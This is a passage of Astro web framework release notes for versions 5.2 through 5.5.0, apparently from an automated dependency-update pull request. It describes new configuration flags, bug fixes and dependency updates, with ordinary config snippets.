Source](https://github.com/withastro/astro/compare/astro@5.4.3...astro@5.5.0) ##### Minor Changes - [#&#8203;13402](https://github.com/withastro/astro/pull/13402) [`3e7b498`](https://github.com/withastro/astro/commit/3e7b498dce52648484bb4deb04bf9e960c3d08e3) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new experimental flag called `experimental.preserveScriptOrder` that renders `<script>` and `<style>` tags in the same order as they are defined. When rendering multiple `<style>` and `<script>` tags on the same page, Astro currently reverses their order in your generated HTML output. This can give unexpected results, for example CSS styles being overridden by earlier defined style tags when your site is built. With the new `preserveScriptOrder` flag enabled, Astro will generate the styles in the order they are defined: ```js title="astro.config.mjs" import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { preserveScriptOrder: true, }, }); ``` For example, the following component has two `<style>` tags, and both define the same style for the `body` tag: ```html <p>I am a component</p> <style> body { background: red; } </style> <style> body { background: yellow; } </style> ``` Once the project is compiled, Astro will create an inline style where `yellow` appears first, and then `red`. Ultimately, the `red` background is applied: ```css body { background: #ff0; } body { background: red; } ``` When `experimental.preserveScriptOrder` is set to `true`, the order of the two styles is kept as it is, and in the style generated `red` appears first, and then `yellow`: ```css body { background: red; } body { background: #ff0; } ``` This is a breaking change to how Astro renders project code that contains multiple `<style>` and `<script>` tags in the same component. If you were previously compensating for Astro's behavior by writing these out of order, you will need to update your code. This will eventually become the new default Astro behavior, so we encourage you to add this experimental style and script ordering as soon as you are able! This will help us test the new behavior and ensure your code is ready when this becomes the new normal. For more information as this feature develops, please see the [experimental script order docs](https://docs.astro.build/en/reference/experimental-flags/preserve-script-order/). - [#&#8203;13352](https://github.com/withastro/astro/pull/13352) [`cb886dc`](https://github.com/withastro/astro/commit/cb886dcde6c28acca286a66be46228a4d4cc52e7) Thanks [@&#8203;delucis](https://github.com/delucis)! - Adds support for a new `experimental.headingIdCompat` flag By default, Astro removes a trailing `-` from the end of IDs it generates for headings ending with special characters. This differs from the behavior of common Markdown processors. You can now disable this behavior with a new configuration flag: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { headingIdCompat: true, }, }); ``` This can be useful when heading IDs and anchor links need to behave consistently across your site and other platforms such as GitHub and npm. If you are [using the `rehypeHeadingIds` plugin directly](https://docs.astro.build/en/guides/markdown-content/#heading-ids-and-plugins), you can also pass this new option: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import { rehypeHeadingIds } from '@&#8203;astrojs/markdown-remark'; import { otherPluginThatReliesOnHeadingIDs } from 'some/plugin/source'; export default defineConfig({ markdown: { rehypePlugins: [ [rehypeHeadingIds, { experimentalHeadingIdCompat: true }], otherPluginThatReliesOnHeadingIDs, ], }, }); ``` - [#&#8203;13311](https://github.com/withastro/astro/pull/13311) [`a3327ff`](https://github.com/withastro/astro/commit/a3327ffbe6373228339824684eaa6f340a20a32e) Thanks [@&#8203;chrisirhc](https://github.com/chrisirhc)! - Adds a new configuration option for Markdown syntax highlighting `excludeLangs` This option provides better support for diagramming tools that rely on Markdown code blocks, such as Mermaid.js and D2 by allowing you to exclude specific languages from Astro's default syntax highlighting. This option allows you to avoid rendering conflicts with tools that depend on the code not being highlighted without forcing you to disable syntax highlighting for other code blocks. The following example configuration will exclude highlighting for `mermaid` and `math` code blocks: ```js import { defineConfig } from 'astro/config'; export default defineConfig({ markdown: { syntaxHighlight: { type: 'shiki', excludeLangs: ['mermaid', 'math'], }, }, }); ``` Read more about this new option in the [Markdown syntax highlighting configuration docs](https://docs.astro.build/en/reference/configuration-reference/#markdownsyntaxhighlight). ##### Patch Changes - [#&#8203;13404](https://github.com/withastro/astro/pull/13404) [`4e78b4d`](https://github.com/withastro/astro/commit/4e78b4d10d2214c94752a1fef74db325053cf071) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug in error handling that saving a content file with a schema error would display an "unhandled rejection" error instead of the correct schema error - [#&#8203;13379](https://github.com/withastro/astro/pull/13379) [`d59eb22`](https://github.com/withastro/astro/commit/d59eb227334b788289533bac41f015b498179a2f) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an edge case where the client router executed scripts twice when used with a custom swap function that only swaps parts of the DOM. - [#&#8203;13393](https://github.com/withastro/astro/pull/13393) [`6b8fdb8`](https://github.com/withastro/astro/commit/6b8fdb8a113b6f76448b41beb990c33fafb09b3e) Thanks [@&#8203;renovate](https://github.com/apps/renovate)! - Updates `primsjs` to version 1.30.0, which adds support for more languages and fixes a security advisory which does not affect Astro. - [#&#8203;13374](https://github.com/withastro/astro/pull/13374) [`7b75bc5`](https://github.com/withastro/astro/commit/7b75bc5c36bc338bcef5ef41502e87c184c117ec) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Fixes the documentation of the i18n configuration where `manual` was presented as a key of `routing` instead of an available value. - [#&#8203;13380](https://github.com/withastro/astro/pull/13380) [`9bfa6e6`](https://github.com/withastro/astro/commit/9bfa6e6d8b95424436be405a80d5df3f2e2e72df) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue where astro:page-load fires before all scripts are executed - [#&#8203;13407](https://github.com/withastro/astro/pull/13407) [`0efdc22`](https://github.com/withastro/astro/commit/0efdc22b182f6cec4155a972f0dde1da686c5453) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Displays correct error message when sharp isn't installed - Updated dependencies \[[`cb886dc`](https://github.com/withastro/astro/commit/cb886dcde6c28acca286a66be46228a4d4cc52e7), [`a3327ff`](https://github.com/withastro/astro/commit/a3327ffbe6373228339824684eaa6f340a20a32e)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.0 ### [`v5.4.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#543) [Compare Source](https://github.com/withastro/astro/compare/astro@5.4.2...astro@5.4.3) ##### Patch Changes - [#&#8203;13381](https://github.com/withastro/astro/pull/13381) [`249d52a`](https://github.com/withastro/astro/commit/249d52a3ff17f792c451ea0e42b97a209667290c) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Adds the `types` property to the viewTransition object when the ClientRouter simulates parts of the View Transition API on browsers w/o native support. - [#&#8203;13367](https://github.com/withastro/astro/pull/13367) [`3ce4ad9`](https://github.com/withastro/astro/commit/3ce4ad965f576f2f4c53b5f2b876d449ed60c023) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds documentation to various utility functions used for remote image services - [#&#8203;13347](https://github.com/withastro/astro/pull/13347) [`d83f92a`](https://github.com/withastro/astro/commit/d83f92a20403ffc8d088cfd13d2806e0f4f1a11e) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Updates internal CSS chunking behavior for Astro components' scoped styles. This may result in slightly more CSS chunks created, but should allow the scoped styles to only be included on pages that use them. - [#&#8203;13388](https://github.com/withastro/astro/pull/13388) [`afadc70`](https://github.com/withastro/astro/commit/afadc702d7d928e7b650d3c071cca3d21e14333f) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where `astro:config/server` and `astro:config/client` had incorrect types. - [#&#8203;13355](https://github.com/withastro/astro/pull/13355) [`042d1de`](https://github.com/withastro/astro/commit/042d1de901fd9aa66157ce078b28bcd9786e1373) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds documentation to the assets utilities for remote service images. - [#&#8203;13395](https://github.com/withastro/astro/pull/13395) [`6d1c63f`](https://github.com/withastro/astro/commit/6d1c63fa46a624b1c4981d4324ebabf37cc2b958) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Uses `package-manager-detector` to detect the package manager used in the project - [#&#8203;13363](https://github.com/withastro/astro/pull/13363) [`a793636`](https://github.com/withastro/astro/commit/a793636928d0014a7faa4431afdfb9404e9ea819) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the internal function `makeSvgComponent` was incorrectly exposed as a public API. - Updated dependencies \[[`042d1de`](https://github.com/withastro/astro/commit/042d1de901fd9aa66157ce078b28bcd9786e1373)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.6.1 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.2.1 ### [`v5.4.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#542) [Compare Source](https://github.com/withastro/astro/compare/astro@5.4.1...astro@5.4.2) ##### Patch Changes - [#&#8203;12985](https://github.com/withastro/astro/pull/12985) [`84e94cc`](https://github.com/withastro/astro/commit/84e94cc85cc0f4ea9b5dba2009dc89e83a798f59) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevent re-executing scripts in client router - [#&#8203;13349](https://github.com/withastro/astro/pull/13349) [`50e2e0b`](https://github.com/withastro/astro/commit/50e2e0b3749d6dba3d301ea1a0a3a33a273e7a81) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Correctly escapes attributes in Markdown images - [#&#8203;13262](https://github.com/withastro/astro/pull/13262) [`0025df3`](https://github.com/withastro/astro/commit/0025df37af4dcd390d41c9b175fbdb3edd87edf7) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Refactor Astro Actions to not use a middleware. Doing so should avoid unexpected issues when using the Astro middleware at the edge. ### [`v5.4.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#541) [Compare Source](https://github.com/withastro/astro/compare/astro@5.4.0...astro@5.4.1) ##### Patch Changes - [#&#8203;13336](https://github.com/withastro/astro/pull/13336) [`8f632ef`](https://github.com/withastro/astro/commit/8f632efe9934fbe7547d890fd01b3892d14c8189) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression where some asset utilities were move across monorepo, and not re-exported anymore. - [#&#8203;13320](https://github.com/withastro/astro/pull/13320) [`b5dabe9`](https://github.com/withastro/astro/commit/b5dabe9878510237ceb603ebd3e004da6e965a26) Thanks [@&#8203;{](https://github.com/{)! - Adds support for typing experimental session data You can add optional types to your session data by creating a `src/env.d.ts` file in your project that extends the global `App.SessionData` interface. For example: ```ts declare namespace App { interface SessionData { id: string; email: string; }; lastLogin: Date; } } ``` Any keys not defined in this interface will be treated as `any`. Then when you access `Astro.session` in your components, any defined keys will be typed correctly: ```astro --- const user = await Astro.session.get('user'); // ^? const: user: { id: string; email: string; } | undefined const something = await Astro.session.get('something'); // ^? const: something: any Astro.session.set('user', 1); // ^? Argument of type 'number' is not assignable to parameter of type '{ id: string; email: string; }'. --- ``` See [the experimental session docs](https://docs.astro.build/en/reference/experimental-flags/sessions/) for more information. - [#&#8203;13330](https://github.com/withastro/astro/pull/13330) [`5e7646e`](https://github.com/withastro/astro/commit/5e7646efc12d47bbb65d8c80a160f4f27329903c) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue with the conditional rendering of scripts. **This change updates a v5.0 breaking change when `experimental.directRenderScript` became the default script handling behavior**. If you have already successfully upgraded to Astro v5, you may need to review your script tags again and make sure they still behave as desired after this release. [See the v5 Upgrade Guide for more details](https://docs.astro.build/en/guides/upgrade-to/v5/#script-tags-are-rendered-directly-as-declared). ### [`v5.4.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#540) [Compare Source](https://github.com/withastro/astro/compare/astro@5.3.1...astro@5.4.0) ##### Minor Changes - [#&#8203;12052](https://github.com/withastro/astro/pull/12052) [`5be12b2`](https://github.com/withastro/astro/commit/5be12b2bc9f359d3ecfa29b766f13ed2aabd119f) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Exposes extra APIs for scripting and testing. ##### Config helpers Two new helper functions exported from `astro/config`: - `mergeConfig()` allows users to merge partially defined Astro configurations on top of a base config while following the merge rules of `updateConfig()` available for integrations. - `validateConfig()` allows users to validate that a given value is a valid Astro configuration and fills in default values as necessary. These helpers are particularly useful for integration authors and for developers writing scripts that need to manipulate Astro configurations programmatically. ##### Programmatic build The `build` API now receives a second optional `BuildOptions` argument where users can specify: - `devOutput` (default `false`): output a development-based build similar to code transformed in `astro dev`. - `teardownCompiler` (default `true`): teardown the compiler WASM instance after build. These options provide more control when running Astro builds programmatically, especially for testing scenarios or custom build pipelines. - [#&#8203;13278](https://github.com/withastro/astro/pull/13278) [`4a43c4b`](https://github.com/withastro/astro/commit/4a43c4b743affb78b1502801c797157b626c77a1) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new configuration option `server.allowedHosts` and CLI option `--allowed-hosts`. Now you can specify the hostnames that the dev and preview servers are allowed to respond to. This is useful for allowing additional subdomains, or running the dev server in a web container. `allowedHosts` checks the Host header on HTTP requests from browsers and if it doesn't match, it will reject the request to prevent CSRF and XSS attacks. ```shell astro dev --allowed-hosts=foo.bar.example.com,bar.example.com ``` ```shell astro preview --allowed-hosts=foo.bar.example.com,bar.example.com ``` ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ server: { allowedHosts: ['foo.bar.example.com', 'bar.example.com'], }, }); ``` This feature is the same as [Vite's `server.allowHosts` configuration](https://vite.dev/config/server-options.html#server-allowedhosts). - [#&#8203;13254](https://github.com/withastro/astro/pull/13254) [`1e11f5e`](https://github.com/withastro/astro/commit/1e11f5e8b722b179e382f3c792cd961b2b51f61b) Thanks [@&#8203;p0lyw0lf](https://github.com/p0lyw0lf)! - Adds the ability to process and optimize remote images in Markdown files Previously, Astro only allowed local images to be optimized when included using `![]()` syntax in plain Markdown files. Astro's image service could only display remote images without any processing. Now, Astro's image service can also optimize remote images written in standard Markdown syntax. This allows you to enjoy the benefits of Astro's image processing when your images are stored externally, for example in a CMS or digital asset manager. No additional configuration is required to use this feature! Any existing remote images written in Markdown will now automatically be optimized. To opt-out of this processing, write your images in Markdown using the HTML `<img>` tag instead. Note that images located in your `public/` folder are still never processed. ##### Patch Changes - [#&#8203;13256](https://github.com/withastro/astro/pull/13256) [`509fa67`](https://github.com/withastro/astro/commit/509fa671a137515bd1818c81ee78de439a27e5dc) Thanks [@&#8203;p0lyw0lf](https://github.com/p0lyw0lf)! - Adds experimental responsive image support in Markdown Previously, the `experimental.responsiveImages` feature could only provide responsive images when using the `<Image />` and `<Picture />` components. Now, images written with the `![]()` Markdown syntax in Markdown and MDX files will generate responsive images by default when using this experimental feature. To try this experimental feature, set `experimental.responsiveImages` to true in your `astro.config.mjs` file: ```js { experimental: { responsiveImages: true, }, } ``` Learn more about using this feature in the [experimental responsive images feature reference](https://docs.astro.build/en/reference/experimental-flags/responsive-images/). For a complete overview, and to give feedback on this experimental API, see the [Responsive Images RFC](https://github.com/withastro/roadmap/blob/responsive-images/proposals/0053-responsive-images.md). - [#&#8203;13323](https://github.com/withastro/astro/pull/13323) [`80926fa`](https://github.com/withastro/astro/commit/80926fadc06492fcae55f105582b9dc8279da6b3) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Updates `esbuild` and `vite` to the latest to avoid false positives audits warnings caused by `esbuild`. - [#&#8203;13313](https://github.com/withastro/astro/pull/13313) [`9e7c71d`](https://github.com/withastro/astro/commit/9e7c71d19c89407d9b27ded85d8c0fde238ce16c) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue where a form field named "attributes" shadows the form.attributes property. - [#&#8203;12052](https://github.com/withastro/astro/pull/12052) [`5be12b2`](https://github.com/withastro/astro/commit/5be12b2bc9f359d3ecfa29b766f13ed2aabd119f) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes incorrect config update when calling `updateConfig` from `astro:build:setup` hook. The function previously called a custom update config function made for merging an Astro config. Now it calls the appropriate `mergeConfig()` utility exported by Vite that updates functional options correctly. - [#&#8203;13303](https://github.com/withastro/astro/pull/13303) [`5f72a58`](https://github.com/withastro/astro/commit/5f72a58935d9bdd5237bdf86d2e94bcdc544c7b3) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the dev server was applying second decoding of the URL of the incoming request, causing issues for certain URLs. - Updated dependencies \[[`1e11f5e`](https://github.com/withastro/astro/commit/1e11f5e8b722b179e382f3c792cd961b2b51f61b), [`1e11f5e`](https://github.com/withastro/astro/commit/1e11f5e8b722b179e382f3c792cd961b2b51f61b)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.6.0 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.2.0 ### [`v5.3.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#531) [Compare Source](https://github.com/withastro/astro/compare/astro@5.3.0...astro@5.3.1) ##### Patch Changes - [#&#8203;13233](https://github.com/withastro/astro/pull/13233) [`32fafeb`](https://github.com/withastro/astro/commit/32fafeb874cc4b6312eb50d54d9f0ca6b83aedbc) Thanks [@&#8203;joshmkennedy](https://github.com/joshmkennedy)! - Ensures consistent behaviour of `Astro.rewrite`/`ctx.rewrite` when using `base` and `trailingSlash` options. - [#&#8203;13003](https://github.com/withastro/astro/pull/13003) [`ea79054`](https://github.com/withastro/astro/commit/ea790542e186b0d2d2e828cb3ebd23bde4d04879) Thanks [@&#8203;chaegumi](https://github.com/chaegumi)! - Fixes a bug that caused the `vite.base` value to be ignored when running `astro dev` - [#&#8203;13299](https://github.com/withastro/astro/pull/13299) [`2e1321e`](https://github.com/withastro/astro/commit/2e1321e9d5b27da3e86bc4021e4136661a8055aa) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Uses `tinyglobby` for globbing files - [#&#8203;13233](https://github.com/withastro/astro/pull/13233) [`32fafeb`](https://github.com/withastro/astro/commit/32fafeb874cc4b6312eb50d54d9f0ca6b83aedbc) Thanks [@&#8203;joshmkennedy](https://github.com/joshmkennedy)! - Ensures that `Astro.url`/`ctx.url` is correctly updated with the `base` path after rewrites. This change fixes an issue where `Astro.url`/`ctx.url` did not include the configured base path after Astro.rewrite was called. Now, the base path is correctly reflected in Astro.url. Previously, any rewrites performed through `Astro.rewrite`/`ctx.rewrite` failed to append the base path to `Astro.url`/`ctx.rewrite`, which could lead to incorrect URL handling in downstream logic. By fixing this, we ensure that all routes remain consistent and predictable after a rewrite. If you were relying on the workaround of including the base path in astro.rewrite you can now remove it from the path. ### [`v5.3.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#530) [Compare Source](https://github.com/withastro/astro/compare/astro@5.2.6...astro@5.3.0) ##### Minor Changes - [#&#8203;13210](https://github.com/withastro/astro/pull/13210) [`344e9bc`](https://github.com/withastro/astro/commit/344e9bc480a075161a7811b7733593556e7560da) Thanks [@&#8203;VitaliyR](https://github.com/VitaliyR)! - Handle `HEAD` requests to an endpoint when a handler is not defined. If an endpoint defines a handler for `GET`, but does not define a handler for `HEAD`, Astro will call the `GET` handler and return the headers and status but an empty body. - [#&#8203;13195](https://github.com/withastro/astro/pull/13195) [`3b66955`](https://github.com/withastro/astro/commit/3b669555d7ab9da5427e7b7037699d4f905d3536) Thanks [@&#8203;MatthewLymer](https://github.com/MatthewLymer)! - Improves SSR performance for synchronous components by avoiding the use of Promises. With this change, SSR rendering of on-demand pages can be up to 4x faster. - [#&#8203;13145](https://github.com/withastro/astro/pull/13145) [`8d4e566`](https://github.com/withastro/astro/commit/8d4e566f5420c8a5406e1e40e8bae1c1f87cbe37) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds support for adapters auto-configuring experimental session storage drivers. Adapters can now configure a default session storage driver when the `experimental.session` flag is enabled. If a hosting platform has a storage primitive that can be used for session storage, the adapter can automatically configure the session storage using that driver. This allows Astro to provide a more seamless experience for users who want to use sessions without needing to manually configure the session storage. ##### Patch Changes - [#&#8203;13145](https://github.com/withastro/astro/pull/13145) [`8d4e566`](https://github.com/withastro/astro/commit/8d4e566f5420c8a5406e1e40e8bae1c1f87cbe37) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - :warning: **BREAKING CHANGE FOR EXPERIMENTAL SESSIONS ONLY** :warning: Changes the `experimental.session` option to a boolean flag and moves session config to a top-level value. This change is to allow the new automatic session driver support. You now need to separately enable the `experimental.session` flag, and then configure the session driver using the top-level `session` key if providing manual configuration. ```diff defineConfig({ // ... experimental: { - session: { - driver: 'upstash', - }, + session: true, }, + session: { + driver: 'upstash', + }, }); ``` You no longer need to configure a session driver if you are using an adapter that supports automatic session driver configuration and wish to use its default settings. ```diff defineConfig({ adapter: node({ mode: "standalone", }), experimental: { - session: { - driver: 'fs', - cookie: 'astro-cookie', - }, + session: true, }, + session: { + cookie: 'astro-cookie', + }, }); ``` However, you can still manually configure additional driver options or choose a non-default driver to use with your adapter with the new top-level `session` config option. For more information, see the [experimental session docs](https://docs.astro.build/en/reference/experimental-flags/sessions/). - [#&#8203;13101](https://github.com/withastro/astro/pull/13101) [`2ed67d5`](https://github.com/withastro/astro/commit/2ed67d5dc5c8056f9ab1e29e539bf086b93c60c2) Thanks [@&#8203;corneliusroemer](https://github.com/corneliusroemer)! - Fixes a bug where `HEAD` and `OPTIONS` requests for non-prerendered pages were incorrectly rejected with 403 FORBIDDEN ### [`v5.2.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#526) [Compare Source](https://github.com/withastro/astro/compare/astro@5.2.5...astro@5.2.6) ##### Patch Changes - [#&#8203;13188](https://github.com/withastro/astro/pull/13188) [`7bc8256`](https://github.com/withastro/astro/commit/7bc825649bfb790a0206abd31df1676513a03b22) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes the wording of an error message - [#&#8203;13205](https://github.com/withastro/astro/pull/13205) [`9d56602`](https://github.com/withastro/astro/commit/9d5660223b46e024b4e8c8eafead8a4e20e28ec5) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes and issue where a server island component returns 404 when `base` is configured in i18n project. - [#&#8203;13212](https://github.com/withastro/astro/pull/13212) [`fb38840`](https://github.com/withastro/astro/commit/fb3884074f261523cd89fe6e1745a0e9c01198f2) Thanks [@&#8203;joshmkennedy](https://github.com/joshmkennedy)! - An additional has been added during the build command to add clarity around output and buildOutput. - [#&#8203;13213](https://github.com/withastro/astro/pull/13213) [`6bac644`](https://github.com/withastro/astro/commit/6bac644241bc42bb565730955ffd575878a0e41b) Thanks [@&#8203;joshmkennedy](https://github.com/joshmkennedy)! - Allows readonly arrays to be passed to the `paginate()` function ### [`v5.2.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#525) [Compare Source](https://github.com/withastro/astro/compare/astro@5.2.4...astro@5.2.5) ##### Patch Changes - [#&#8203;13133](https://github.com/withastro/astro/pull/13133) [`e76aa83`](https://github.com/withastro/astro/commit/e76aa8391eb9d81c1a52fb2f9f21ede4790bd793) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where Astro was failing to build an external redirect when the middleware was triggered - [#&#8203;13119](https://github.com/withastro/astro/pull/13119) [`ac43580`](https://github.com/withastro/astro/commit/ac4358052af2c1817dec999598bc4e3d8fd0bdaf) Thanks [@&#8203;Hacksore](https://github.com/Hacksore)! - Adds extra guidance in the terminal when using the `astro add tailwind` CLI command Now, users are given a friendly reminder to import the stylesheet containing their Tailwind classes into any pages where they want to use Tailwind. Commonly, this is a shared layout component so that Tailwind styling can be used on multiple pages. ### [`v5.2.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#524) [Compare Source](https://github.com/withastro/astro/compare/astro@5.2.3...astro@5.2.4) ##### Patch Changes - [#&#8203;13130](https://github.com/withastro/astro/pull/13130) [`b71bd10`](https://github.com/withastro/astro/commit/b71bd10989c0070847cecb101afb8278d5ef7091) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused duplicate slashes inside query params to be collapsed - [#&#8203;13131](https://github.com/withastro/astro/pull/13131) [`d60c742`](https://github.com/withastro/astro/commit/d60c74243f639761ad735d66d814e627f8f847a2) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Ignores trailing slashes for endpoints with file extensions in the route - Updated dependencies \[[`b71bd10`](https://github.com/withastro/astro/commit/b71bd10989c0070847cecb101afb8278d5ef7091)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.5.1 ### [`v5.2.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#523) [Compare Source](https://github.com/withastro/astro/compare/astro@5.2.2...astro@5.2.3) ##### Patch Changes - [#&#8203;13113](https://github.com/withastro/astro/pull/13113) [`3a26e45`](https://github.com/withastro/astro/commit/3a26e4541764085faa499bc63549b24d194146a6) Thanks [@&#8203;unprintable123](https://github.com/unprintable123)! - Fixes the bug that rewrite will pass encoded url to the dynamic routing and cause params mismatch. - [#&#8203;13111](https://github.com/withastro/astro/pull/13111) [`23978dd`](https://github.com/withastro/astro/commit/23978ddfe127bbc3762b6209b42d049588e52a14) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused injected endpoint routes to return not found when trailingSlash was set to always - [#&#8203;13112](https://github.com/withastro/astro/pull/13112) [`0fa5c82`](https://github.com/withastro/astro/commit/0fa5c82977de73872ddeffffea48fddafba47398) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the i18n middleware was blocking a server island request when the `prefixDefaultLocale` option is set to `true` ### [`v5.2.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#522) [Compare Source](https://github.com/withastro/astro/compare/astro@5.2.1...astro@5.2.2) ##### Patch Changes - [#&#8203;13106](https://github.com/withastro/astro/pull/13106) [`187c4d3`](https://github.com/withastro/astro/commit/187c4d3244a27c9b4e7e3cbe6307b01161140ca1) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused peer dependency errors when running `astro add tailwind` ### [`v5.2.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#521) [Compare Source](https://github.com/withastro/astro/compare/astro@5.2.0...astro@5.2.1) ##### Patch Changes - [#&#8203;13095](https://github.com/withastro/astro/pull/13095) [`740eb60`](https://github.com/withastro/astro/commit/740eb6019f405781a3918941d3bfb34a7bda1a3d) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused some dev server asset requests to return 404 when trailingSlash was set to "always" ### [`v5.2.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#520) [Compare Source](https://github.com/withastro/astro/compare/astro@5.1.10...astro@5.2.0) ##### Minor Changes - [#&#8203;12994](https://github.com/withastro/astro/pull/12994) [`5361755`](https://github.com/withastro/astro/commit/536175528dbbe75aa978d615ba2517b64bad7879) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Redirects trailing slashes for on-demand pages When the `trailingSlash` option is set to `always` or `never`, on-demand rendered pages will now redirect to the correct URL when the trailing slash doesn't match the configuration option. This was previously the case for static pages, but now works for on-demand pages as well. Now, it doesn't matter whether your visitor navigates to `/about/`, `/about`, or even `/about///`. In production, they'll always end up on the correct page. For GET requests, the redirect will be a 301 (permanent) redirect, and for all other request methods, it will be a 308 (permanent, and preserve the request method) redirect. In development, you'll see a helpful 404 page to alert you of a trailing slash mismatch so you can troubleshoot routes. - [#&#8203;12979](https://github.com/withastro/astro/pull/12979) [`e621712`](https://github.com/withastro/astro/commit/e621712109b79313b24924ec4f0ba4f8ab6201c2) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds support for redirecting to external sites with the [`redirects`](https://docs.astro.build/en/reference/configuration-reference/#redirects) configuration option. Now, you can redirect routes either internally to another path or externally by providing a URL beginning with `http` or `https`: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ redirects: { '/blog': 'https://example.com/blog', '/news': { status: 302, destination: 'https://example.com/news', }, }, }); ``` - [#&#8203;13084](https://github.com/withastro/astro/pull/13084) [`0f3be31`](https://github.com/withastro/astro/commit/0f3be3104e62d5b50dabfb15023f97954a160b8e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new experimental virtual module `astro:config` that exposes a type-safe subset of your `astro.config.mjs` configuration The virtual module exposes two sub-paths for controlled access to your configuration: - `astro:config/client`: exposes config information that is safe to expose to the client. - `astro:config/server`: exposes additional information that is safe to expose to the server, such as file/dir paths. To enable this new virtual module, add the `experimental.serializeManifest` feature flag to your Astro config: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { serializeManifest: true, }, }); ``` Then, you can access the module in any file inside your project to import and use values from your Astro config: ```js // src/utils.js import { trailingSlash } from 'astro:config/client'; function addForwardSlash(path) { if (trailingSlash === 'always') { return path.endsWith('/') ? path : path + '/'; } else { return path; } } ``` For a complete overview, and to give feedback on this experimental API, see the [Serialized Manifest RFC](https://github.com/withastro/roadmap/blob/feat/serialised-config/proposals/0051-serialized-manifest.md). ##### Patch Changes - [#&#8203;13049](https://github.com/withastro/astro/pull/13049) [`2ed4bd9`](https://github.com/withastro/astro/commit/2ed4bd90f25a3e5a183d0bc862e3b359b8289b93) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates `astro add tailwind` to add the `@tailwindcss/vite` plugin instead of the `@astrojs/tailwind` integration - [#&#8203;12994](https://github.com/withastro/astro/pull/12994) [`5361755`](https://github.com/withastro/astro/commit/536175528dbbe75aa978d615ba2517b64bad7879) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Returns a more helpful 404 page in dev if there is a trailing slash mismatch between the route requested and the `trailingSlash` configuration - [#&#8203;12666](https://github.com/withastro/astro/pull/12666) [`037495d`](https://github.com/withastro/astro/commit/037495d437d2328bf10ffadc22cc114ccf474c65) Thanks [@&#8203;Thodor12](https://github.com/Thodor12)! - Added additional generated typings for the content layer - Updated dependencies 